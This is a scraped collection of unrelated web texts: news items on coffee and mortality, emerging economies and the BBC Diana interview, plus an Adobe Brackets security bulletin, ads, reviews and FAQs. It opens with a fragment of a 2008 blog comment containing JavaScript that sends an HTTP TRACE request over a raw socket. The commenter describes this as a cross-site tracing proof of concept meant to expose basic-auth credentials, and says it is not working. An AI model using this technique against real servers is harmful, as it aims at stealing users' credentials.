var l = document.location;var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr = new java.io.PrintWriter(socket.getOutputStream(),true);
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
wr.println("TRACE / HTTP/1.1 \nHost: " + host + "\nxst:test\r\n");
var lines = "";
while ((str = rd.readLine()) != null){ lines += str + "\n"; }
I use basic authentication in the server to prove to obtain it in the TRACE reply.
I can see the server logs and the TRACE request is in there but nothing else. No authentication parameters anyway.
If i knew your mail i could send you more information about my proof of concept. My mail is email@example.com.
Thanks very much. - April 28, 2008 at 5:48 AM
- Rafa Sánchez said...
sorry for the reply :(
- April 28, 2008 at 5:52 AM
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A new study provides more good news for coffee lovers. Drinking coffee is associated with a lower risk of early death — virtually regardless of how much you drink and whether or not it's caffeinated, concludes a paper published Monday in JAMA Internal Medicine.
"We observed an inverse association for coffee drinking with mortality, including among participants who reported drinking at least one cup per day, up to eight or more cups per day, as well as those drinking filtered, instant and decaffeinated coffee," said Dr. Erikka Loftfield, the study's lead investigator and a research fellow at the National Cancer Institute, in an email to TIME.
The researchers used data from the UK Biobank study, through which a large group of UK adults completed health questionnaires, underwent physical examinations and provided biological samples. For the current study, the researchers analyzed information provided by about 500,000 people, who answered questions about their coffee consumption, smoking and drinking habits, health history and more. During the study's 10-year follow-up period, around 14,200 of those people died.
The researchers found longevity benefits associated with nearly every level and type of coffee consumption. Risk reduction varied slightly depending on how much coffee someone consumed, its caffeine content and whether it was instant or ground. But overall, relative to non-drinkers, those who drank one cup of coffee per day had an 8% lower risk of premature death — a rate that rose slightly as consumption increased, peaking at 16% for those drinking six to seven daily cups, before dipping slightly, to 14%, for those having eight or more cups each day.
The speed at which a person metabolized caffeine didn't seem to affect longevity, despite prior research that suggested coffee consumption might be related to increased risks of high blood pressure and heart attack among people who metabolize caffeine slowly. But those studies only looked at coffee drinking after disease occurrence and did not examine overall mortality risk, as the current paper did, Loftfield said. Using the Biobank study also allowed the researchers to examine a huge amount of genetic data, including that related to caffeine metabolism, which allowed for more robust analysis.
That finding, combined with the apparent longevity-boosting effect of decaf coffee, suggests that caffeine isn't the life-lengthening mechanism at work in java, Loftfield said. But because the current study was observational, meaning it looked only at patterns in an existing dataset, it's impossible to say what is — or even if coffee is truly responsible for keeping death at bay, or just associated with a longer life.
"Our current understanding of coffee and health is primarily based on findings from observational studies," Loftfield said. "To better understand the potential biological mechanisms underlying the observed associations of coffee with various health outcomes, additional studies are needed."
Nonetheless, Loftfield's study joins a large group that have found health benefits associated with coffee. And though some past studies have linked coffee and other hot beverages to cancer, the World Health Organization just last month concluded that there's inadequate evidence to call coffee a carcinogen.
"Our study provides further evidence that coffee drinking can be part of a healthy diet and offers reassurance to coffee drinkers," Loftfield said.
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George Washington's Mount Vernon, located near Washington, DC, is the historic site dedicated to interpreting the life of the first president within the context of his home and plantation. The 2014 Mount Vernon/University of Maryland (UMD) Field School in Historic Preservation is in the second year of a multi-year project to explore the archaeological, architectural, and interpretive histories of the Washington families' and create an integrated approach to its study, documentation, and public presentation.
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We went her for a week at end of January and had a great time. Very good food and everthing was well taken care of. The wine could be better but then it is free so what do you expect. The position is perfect and very easy to get to slopes 50m down the hill and close to shops and bars etc. Did get some noise in the evening from people coming back which is not always ideal when trying to get some sleep but good its so close. The ski room for putting boots had a heated rails but they did not work which was quite annoying as boots by the end of the week were wet. Overall the week was great and would go back to. Make sure you get the three Valleys Ski pass as then more fun.
Apres Ski: 3/5
Accommodation & Value: 4/5


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Release date: June 14, 2016
Vulnerability identifier: APSB16-20
Priority: 3
CVE number: CVE-2016-4164, CVE-2016-4165
Platform: Windows, Macintosh and Linux
Adobe has released a security update for Adobe Brackets for Windows, Macintosh and Linux. This update resolves a JavaScript injection vulnerability (CVE-2016-4164) and a vulnerability in the extension manager (CVE-2016-4165). Adobe recommends users update their product installation using the instructions provided in the "Solution" Section below.
Product | Affected Version | Platform |
Adobe Brackets | 1.6 and earlier versions | Windows, Macintosh and Linux |
Adobe categorizes this update with the following priority rating and recommends users update their installation to the newest version by following the instructions below:
Product | Updated version | Platform | Priority rating | Availability |
Adobe Brackets | 1.7 | Windows, Macintosh and Linux | 3 | Download |
- This update resolves a JavaScript injection vulnerability, which could be abused in a cross-site scripting attack (CVE-2016-4164).
- This update resolves an input validation vulnerability in the extension manager (CVE-2016-4165).
Adobe would like to thank Kacper Rybczyński for reporting these issues (CVE-2016-4164 and CVE-2016-4165) and for working with Adobe to help protect our customers.


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Which Houston, Texas pipeline company has sued Ted Turner, Bob Graham, and dozens of other Georgia landowners, including a Georgia Centennial Farm? That's right, Spectra Energy, as in the Sabal Trail fracked methane boondoggle.
Dan Chapman, AJC, 1 May 2016, South Georgia pipeline fight turns into battle over eminent domain,
Continue reading Sabal Trail sues Georgia landowners for federal eminent domain –Atlanta Journal ConstitutionA Texas company wants to condemn private property in Georgia for a pipeline to deliver energy to Florida.


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Ten emerging countries hot on the heels of the BRICS
Indonesia, Bangladesh and Ethiopia are among 10 countries set to take over as emerging economies from the powerful BRICS nations as they struggle with growing pains, a French credit body said on Tuesday.
"After 10 years of frenetic growth" the big five emerging economies of Brazil, Russia, India, China and South Africa – the BRICS – "are slowing down sharply," the French trade credit and insurance group Coface said.
In a report entitled "Coface identifies 10 emerging countries hot on the heels of the BRICS," the organisation said that average economic growth by the BRICS this year would be 3.2 percentage points less than the average in the last 10 years.
But "at the same time, other emerging countries are accelerating their development," it said.
The growth of emerging economies and the effect this has on world trade flows is closely analysed by economists because of the huge impact on every aspect of the global economy and power balances.
Coface broke the 10 new emerging economies it has identified into two groups.
The first comprises Peru, the Philippines, Indonesia, Colombia and Sri Lanka, which it named the PPICS.
They had "strong potential confirmed by a sound business environment," Coface said.
The second group comprises Kenya, Tanzania, Zambia, Bangladesh and Ethiopia.
But these countries are marked by "very difficult or extremely difficult business environments which could hamper their growth prospects," Coface said.
However, the head of country risk at Coface, Julien Marcilly, said that in 2001 "the quality of governance in Brazil, China, India and Russia was comparable to that of Kenya, Tanzania, Zambia, Bangladesh and Ethiopia today."
But the 10 "new emerging countries" currently accounted for only 11.0 percent of the world population whereas the BRICS had accounted for 43 percent of the population in 2001.
The total gross domestic product of the new 10 was only 70 percent of the output of the BRICS in 2001, and they had a current account deficit of about 6.0 percent of GDP whereas the BRICS had run a surplus on average.
On a positive note, the new 10 had inflation which was about 2.8 percentage points lower than BRIC inflation in 2001, and their public debt was about 40 percent of output compared with 54 percent for the BRICS at that time.
Coface said that growth in the BRICS was slowing down, despite favourable trends for consumption, because of an adjustment in supply and "a marked slow-down in investment."
Local businesses could no longer satisfy strong demand, it said.
Marcilly said that the BRICS were moving into a new phase since their exports were becoming less competitive, and because they were not yet competitive in offering products with very high added value.
This was why Coface had set out to identify the next wave of driving emerging markets, looking for potential annual growth exceeding 4.0 percent, a diversified economy without undue dependence on the sale of raw materials, and some capacity to absorb economic shocks.
These conditions had to be matched by a financial system capable of supporting investment, but without raising risks of overheating.
The chief economist at Coface, Yves Zlotowski, said that the organisation had tried to combine measures of growth potential and risk potential.
This method had excluded Vietnam from the list of new emergers because although it had strong economic potential, its financial system was out of control, he said.
Coface said that its list of so-called neo-emerging markets could not be compared with the BRICS in terms of size and population.
The use of the word PPICS as an acronym comes in a line of attempts by economists to group various types of new emerging economies.
Among these are MINT for Mexico, Indonesia, Nigeria and Turkey, or CIVETS for Colombia, Indonesia, Vietnam, Egypt, Turkey and South Africa.


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STONY BROOK, N.Y. – Stony Brook University is hoping to build on the attention its baseball team is getting with its first-ever appearance in the College World Series by producing a television commercial that will air during the team's first-round game Friday against UCLA.
The school, which is part of the State University of New York, is spending $100,000 to produce and air the commercial, which boasts about its achievements in athletics and academics, said President Sam Stanley.
"We felt compelled to respond to the overwhelming demand for information on Stony Brook," Stanley said.
He said phones at the campus on eastern Long Island, about 60 miles from New York City, have been ringing non-stop since the baseball team upset perennial NCAA powerhouse LSU last Sunday to qualify for the College World Series.
The 30-second commercial is to air during Friday's opening round game against UCLA on ESPN2. It also will be posted on social media networks, Stanley said.
With an enrollment of more than 24,000, Stony Brook boasts on its website that it is listed in the top 1 percent of all universities in the world by the Times of London higher education world university rankings. Its science department is affiliated with Brookhaven National Laboratory and its faculty includes noted paleoanthropologist Richard Leakey, who runs the Turkana Basin Institute in Kenya, where Stony Brook anthropology students travel to study.
In addition to the success of its baseball team, the Seawolves' men's basketball team came within one victory of qualifying for the NCAA basketball tournament last March.
Founded in 1957, notable alumni include Joe Nathan, a veteran relief pitcher with the Texas Rangers; Richard Gelfond, co-chairman and co-CEO of the IMAX Corp.; and Scott Higham an investigative journalist and winner of the 2002 Pulitzer Prize.


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If so, then you should check out The Philadelphia Inquirer's fascinating 8-part series about a father-son duo that imported bulk drugs from India and then fulfilled orders for online pharmacies. Check it out here: http://go.philly.com/drugnet
Here's how it worked:
- To avoid U.S. Customs, which targets small pill packages from overseas Web sites, Dr. Brij Bansal in India and his son, Akhil Bansal in Philadelphia, shipped millions of pills in bulk from Delhi to their Queens, N.Y., distribution center.
- American consumers, responding to spam or using Google to search for drugs, placed a credit-card order with a Web site. The Web site charged the consumer's credit card, then forwarded the order to the Bansals' operations in Agra, India, and Queens.
- Immigrants at the Queens depot fulfilled the order, stuffing pills inside envelopes for UPS pickup. Within a day or two, UPS delivered the pills to the consumer's doorstep. Every few weeks, the Web-site operators wired payment to one of Akhil Bansal's bank accounts.
Nevertheless, I'd be willing to wager that manufacturing conditions at Dr. Bansal's Indian operation did not quite meet FDA GMP standards. No mention of distribution best practices in the Queens warehouse, either.
The Return of Cosmic Irony
And in a strange bit of cosmic irony, the Associated Press put a prescription drug reimportation story on the wires Thursday. See New push to allow imported drugs expected in Congress.
Unfortunately, Senators Vitter and Nelson remain blissfully ignorant about the dangers posed by allowing consumers to source products outside of legitimate domestic channels. Some questions for them:
- Where will "Canadian" pharmacies source products from? Hopefully not people like the Bansals, but we'll never really know.
- How will we stop consumers from buying from "bad" pharmacies? I bet the Bansal's online pharmacy customers had Canadian flags on their websites.
- Who will regulate non-U.S. pharmacies? The FDA does not regulate or control the buying practices of domestic retail pharmacies. Fans of reimportation have yet to explain how a U.S. government agency will ensure the safety of foreign sources. And keep in mind that the DEA, not the FDA, went after the Bansals.
On a happier note, Jayne Juvan, the legal brains behind Juvan's Health Law Update, just made my Monday morning by recommending this blog to her readers. Thanks, Jayne! I'll do the same and suggest that you all check out Jayne's weekly legal update.


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TAGE • About • Web Development & Web Design Services for Hanover MA 02339
TAGE Multimedia Productions, a web development company located in Peterborough, New Hampshire offers local web design and web development services, web programming, web scripting, managed web hosting, and creative services to businesses in Hanover, MA. We have been in business since 1994 and work with clients big and small.
We create interactive, dynamic, data-driven web services and sophisticated web applications. TAGE has the ability to turn your idea business concept into a fully operational enterprise.
If you have a new or existing project, TAGE can provide you with web design services for your project. From wireframe and site architecture to user interface and navigation elements, we can assist. If you have an idea but no plan to execute, we can help you create a customized specification that will take you from concept to launch.
We look at each project from a design and content management perspective. How can we best design a site that provides a superior experience for your customers while providing you the tools to manage your own content independently?
We approach every project, no matter how large or how small, with the same methodical process to insure that we are solving each challenge in the smartest way possible, using the best tools for the job.
The world of the web is not flat. There is depth to everything from dynamically generated content to massive relational databases. There are multiple layers of software and scripting languages needed to make your ideas come to life.
We have the ability to create anything for the web that you can possibly imagine. We will call on a vast toolbox of resources and utilities to custom build a solution that is perfectly tailored for each challenge and budget.
Yes. It is possible. We can do it. We will find a way.
We have a great deal of experience building tools that allow you to capture, display, manage, compile, and report on your own content resources.
From e-learning courseware to searchable content archives and inventory systems, we understand what it takes to store, locate, and deliver content in multiple formats and locations.
We take time to get to know what problems and challenges you need to overcome with your CMS. How and where will you need to use your data? How will you need to report on that data? How can your customers access the most up to date information in real time? How can vendors or 3rd parties provide content without security concerns or data integrity issues? How portable is your data? TAGE can help you answer all of these questions.
We are in the business of building dynamic web software applications. We are open to using all technologies available to best solve any challenge.
Many of the applications that we built a decade ago (or more) are still in operation today. We build platforms using proven technology and software solutions that emphasize automation and independent content management that is sustainable over the long term.
We build complete solutions that incorporate hardware, software, hosting, storage, bandwidth, and ongoing client-side management. We look at future scalability and portability plans for every project.
We use Perl as one of our main scripting tools. Much of our own web engine is built on a PERL foundation. If you are looking for someone to maintain existing scripts or are interested in creating something new and innovative, we can certainly be a help to you. We have been writing and maintaining Perl code since the early 90s.
Why do we continue to choose Perl today? It is easy to understand, flexible, portable, and simple to maintain. Much of the Perl script written a decade ago is still in use and is just as functional today.
Perl is open source software and is not compiled. It runs on any flavor of LINUX installed and our web engine library gives us the ability to build sites and features incredibly fast. Plus, Perl plays nice with databases like MySQL, which allows us to do pretty much anything you may want us to do on the internet.
We are big fans of both Javascript and AJAX, and use both when they are the appropriate solution to a given challenge. We are familiar with writing our own custom code as well as working with, maintaining, or fixing existing JS or AJAX code resources.
We always start by asking which technology is going to be the best solution to a current problem. If you have a new or existing project that you need help addressing, we can help you find the best solution.
While we are open to using a wide range of storage engines, we tend to favor MySQL (or MariaDB) for its open source goodness and wide community support. MySQL is also known for its speed. It is very common for us to accomplish a large part of our data processing goals using MySQL's large array of features, resulting in faster, more efficient page loads than offered by standard programming methods.
We have been using MySQL since the late 90s and have grown to love building our own data solutions around it. We have experience with its stand alone server product as well as the cluster version. While it is not an end all solution for every problem, it is a great solution for many common storage needs related to the internet.
We are experts at reading and writing mysql statements as well as solving mysql related problems. We are comfortable with both creating new and maintaining existing MySQL databases.
We are experienced in planning, building, and maintaining IT network infrastructures. From setup of cages and racks to configuring and installing servers, firewalls, switches, routers, managed power and UPS.
We are comfortable with system administration tasks such as server administration backup and archiving plans, working with geographically diverse NOCs, disaster recovery plans, and hybrid localized network VS cloud network strategies.
We cover the full spectrum of OS knowledge spanning from all flavors of Linux to Windows and Apple OS X.
We can host your existing website as part of our managed hosting services. Our services can be provided using our dedicated servers at our colocation centers, or in the cloud at one of our cloud service providers. Managed hosting takes all the concern and questions out of hosting your own website. Here are just a few of the services that we can help you with:
TAGE provides a full range of creative services for your company. From branding, identity and graphics design to illustration and photo services. We can help with your printed materials and digital media.
We listen to your ideas and work directly with with you and your team to convey your message and vision. Please contact us to discuss your exact needs.
We handle all the technical details so you can get back to doing what it is that you do best. For a complete list of our what we can offer you, please visit our services section.
Wondering how to get started? You can talk phone us at (603)-784-5697, or via skype at TageMultimedia . Our Process outlines how we operate. We look forward to the opportunity to assist you with your web related project in Hanover.
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Denver-based folk rock band The Lumineers are known for their sweet nostalgic Americana sound, and they shot to the top of every radio play list with their heartfelt ballad "Ho Hey." Find out more in their Kidzworld Bio!
Jersey Jam Sessions
Although the band is now based out of Denver, Colorado, The Lumineers got their start in New Jersey. Vocalist Wesley Shultz and percussionist Jeremiah Fraites met in New Jersey in 2005, and founded the core of the group, writing songs together and playing gigs wherever they could in New York City - although they were going by the much less catchy name Wesley Jeremiah at the time! In 2008 they gained Jay Van Dyke on percussion and back up vocals, but deciding that New York wasn't the scene for them the band members took to the road and headed for Denver, Colorado.
Craigslist Cellist
Once they hit Denver, the band truly started to fill out, after posting an ad on Craigslist looking for a cellist they found Neyla Pekarek, and the group began to play small venues in the Denver area and eventually began recording some of the songs they had written in Jeremiah's attic. Despite playign shows, it was the internet that eventually landed them a record deal. They posted a video of themselves performing their now-hit single "Ho Hey" and two record execs saw the band and were blown away! In Spring 2011 The Lumineers signed a record contract and were able to record their debut album in a Seattle studio.
Ho Hey
There was no denying the instant likeability of "Ho Hey," and in December 2011 the single was used in the final episode of Hart of Dixie, which started nation-wide social media buzz. After that everyone was on the board with the song, and their self-titled debut album was released April 2012. "Ho Hey," shot to the top of the charts, and critics praised their debut album and loved their rustic, nostalgia-steeped sound. Since then The Lumineers have been selling out shows all over the world, and were even nominated for 2 Grammy Awards!
Watch "Ho Hey" below!
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The British Broadcasting Corporation has reportedly opened an investigation into how journalist Martin Bashir secured Princess Diana's 1995 interview with the network after a shocking allegation aired during a two-part documentary on the British network ITV on Monday and Tuesday.
According to USA Today, Bashir allegedly asked a graphic designer to create fake bank statements to persuade Princess Diana to talk to him on camera.
According to the New York Times, doubts rose about how Bashir obtained the interview, but an earlier BBC internal investigation exonerated him.
During the Nov. 20, 1995 interview, which aired on the BBC's program Panorama, the Princess spoke about how she desperately wanted her marriage to Prince Charles to work. She also spoke about the pressure from the media and her husband's infidelity that caused her to "escape" in binges of eating and vomiting, the Associated Press reported.
According to the AP, an estimated 15 to 20 million viewers watched the Princess discuss her life, her children, and her estranged husband Prince Charles.


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How do you pronounce cellist?
In British English, the word "cellist" is pronounced as "CHEL-ist." The emphasis is on the first syllable, and the "c" is pronounced as "ch," making it sound like "CHEL-ist."
What kind of music can a cellist play?
Just about anything! Cellists will usually be most comfortable playing classical music, but that doesn't mean they won't be able to put together a fresh rendition of your favourite pop, folk, or jazz tune. Always discuss any requests with the cellist beforehand to give them enough time to practice.
Will I need to provide the cellist with any equipment?
Other than a seat without arms, probably not. If your venue is small, they will likely play unamplified. All they'll need to make the music happen is their cello, a bow, and a receptive audience (oh, and probably a music stand). If your venue is larger, they should be able to provide amplification.
Can a cellist play the violin?
Whether or not a cellist can play the violin depends on their skills and experience. While there are some similarities between the two instruments, there are also some significant differences. Similarities - Both instruments are bowed stringed instruments, which means that they are played by rubbing a bow across strings to produce sound. - Both instruments have four strings. - Both instruments are used in a variety of musical genres, including classical, jazz, and folk. Differences - The violin is significantly smaller than the cello. This means that cellists will need to adapt their technique to play the violin, such as using a shorter bow and adjusting their fingering positions. - The cello has a warmer, richer sound than the violin. This is due to the larger size of the cello and the way that its sound resonates within the cello's body. - The violin is more agile and expressive than the cello. This is due to the smaller size of the violin and the fact that it is held closer to the body, which allows cellists to use more arm and hand movements. While it is possible for cellists to learn to play the violin, it will require some adjustment and practice. If you are interested, we have multi-instrumentalists on our books, including cellists who play the violin. Get in touch with one of our experts today to find the right one for your event.
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Fan leads are cables designed to connect a fan to a power source, or to transmit data to, or from, a fan.
Fan leads can be used for many purposes including:
Fan leads come in a broad range of options with varying characteristics, depending on the type and size of fan, and the purpose for which the lead is designed.
Fan lead power cables, for example, may come with or without an integrated connector. Some have a straight plug while others come with angled plugs. These leads may also be available in varying lengths, with or without an earth cable. Some are colour coded and are usually made to industry standards. You will also find some fan leads for use with AC (alternating current) while others are designed for DC (direct current).
Most fans will have the standard number of leads, which is two. However, special functions such as fan speed contollers may require additional wires to be added.


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To speed things up when you call in to your conference as organizer, simply enter your phone number in the 'Settings' section of your account. This will log you straight into the call as Moderator without having to enter your PIN.
*Be careful not to use a shared phone number, such as an office number used by several colleagues, as only one caller at a time can enter your conference with the Moderator PIN.
To activate this option, log in to your account and select 'Settings', then click on 'PIN-less Entry & SMS' from the general settings menu on the left. This will display the screen below where you can enter your phone number and select your country from the drop down menu. Click on 'Save' to register your settings.
Here you will also notice that once you enter your phone number, we will send you text message notifications reminding you when your scheduled calls are about to start. If you don't wish to receive these notifications, simply click on the slider to turn them off.
If you would like participants to be able to join your call with PIN-less entry, then your callers will first need to sign up with us and register their phone number in their account in the same way. Then all you need to do is to schedule a conference and invite those participants using the email address they are registered with.
Our system will then identify that they have been invited to your call, so when they call one of our dial-in numbers, they will automatically be logged into your conference call without having to enter the access code.